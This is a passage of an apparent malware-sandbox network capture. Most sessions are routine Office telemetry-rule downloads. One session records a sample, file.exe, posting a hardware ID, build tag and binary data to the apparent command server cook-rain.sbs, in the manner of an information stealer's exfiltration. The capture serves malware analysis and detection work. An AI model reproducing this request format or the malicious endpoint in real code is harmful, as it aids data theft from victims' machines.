31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-r1d97b99577sdxndhC1TEBec5n000000087g000000006zk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-185f5d8b95crwqd8hC1NYCps6800000009dg00000000ft8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-185f5d8b95c96jn4hC1NYCbgp800000009fg00000000b1y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-1777c6cb754xrr98hC1TEB3kag00000008mg00000000hmbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-185f5d8b95c5lcmhhC1NYCsnsw00000009dg00000000vtka x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-r1d97b99577n5jhbhC1TEB74vn0000000850000000002kt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49752	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:30 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9CZKKFZ4FDQQC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: cook-rain.sbs
2024-11-20 00:18:30 UTC	15331	OUT	Data Raw: 2d 2d 39 43 5a 4b 4b 46 5a 34 46 44 51 51 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 45 35 33 46 33 44 32 35 34 39 37 43 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 39 43 5a 4b 4b 46 5a 34 46 44 51 51 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 43 5a 4b 4b 46 5a 34 46 44 51 51 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 43 5a 4b 4b Data Ascii: --9CZKKFZ4FDQQCContent-Disposition: form-data; name="hwid"24E53F3D25497C1763CFCF7E6C45F838--9CZKKFZ4FDQQCContent-Disposition: form-data; name="pid"3--9CZKKFZ4FDQQCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9CZKK
2024-11-20 00:18:30 UTC	5212	OUT	Data Raw: 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-11-20 00:18:30 UTC	990	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d9dfir89d8fenogtf6icmf7vg5; expires=Sat, 15-Mar-2025 18:05:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RJ0rdthtQW%2F3rsNwf0XuYh4IcWfWdrP8leBUBqeqegl6Kd4km70rIifiiGu2XA7hmq%2Fj%2Bc0H5VxwumiDsWKU%2FgKCtezT%2Bl2CEUQJU15nR5HOf%2FgwPUyZdLHyzwzusI0q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54435a2ed332dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1783&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2828&recv_bytes=21497&delivery_rate=1585233&cwnd=241&unsent_bytes=0&cid=30d292deff78c4f8&ts=595&x=0"
2024-11-20 00:18:30 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 00:18:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001830Z-1777c6cb754ww792hC1TEBzqu400000008qg000000007zw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49753	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 4c 42 42 31 4c 4a 59 69 55 69 47 57 7a 6b 58 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 62 62 66 61 37 30 63 35 36 36 37 64 39 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: TLBB1LJYiUiGWzkX.1Context: d2bbfa70c5667d92
2024-11-20 00:18:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 00:18:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 54 4c 42 42 31 4c 4a 59 69 55 69 47 57 7a 6b 58 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 62 62 66 61 37 30 63 35 36 36 37 64 39 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6d 68 68 57 34 74 50 64 72 45 42 38 4e 37 70 33 7a 38 52 55 2b 76 34 57 36 2b 79 30 77 69 4d 37 65 32 4f 64 46 4d 72 61 59 78 64 52 43 38 5a 56 32 69 51 73 77 2b 71 2b 69 4f 4e 69 6b 42 68 62 6b 31 62 4f 34 73 6d 37 62 6d 74 65 52 41 72 74 53 71 77 42 7a 65 6a 4e 41 57 57 64 57 48 36 4a 67 75 4e 39 74 6e 6e 44 62 4e 6e 51 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: TLBB1LJYiUiGWzkX.2Context: d2bbfa70c5667d92<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVmhhW4tPdrEB8N7p3z8RU+v4W6+y0wiM7e2OdFMraYxdRC8ZV2iQsw+q+iONikBhbk1bO4sm7bmteRArtSqwBzejNAWWdWH6JguN9tnnDbNnQ
2024-11-20 00:18:30 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 54 4c 42 42 31 4c 4a 59 69 55 69 47 57 7a 6b 58 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 62 62 66 61 37 30 63 35 36 36 37 64 39 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: TLBB1LJYiUiGWzkX.3Context: d2bbfa70c5667d92
2024-11-20 00:18:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 00:18:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 63 71 75 6d 66 4b 44 52 30 2b 2b 61 37 75 66 62 57 51 55 55 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TcqumfKDR0++a7ufbWQUUw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001830Z-1777c6cb754g9zd5hC1TEBfvpw000000090000000000774b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 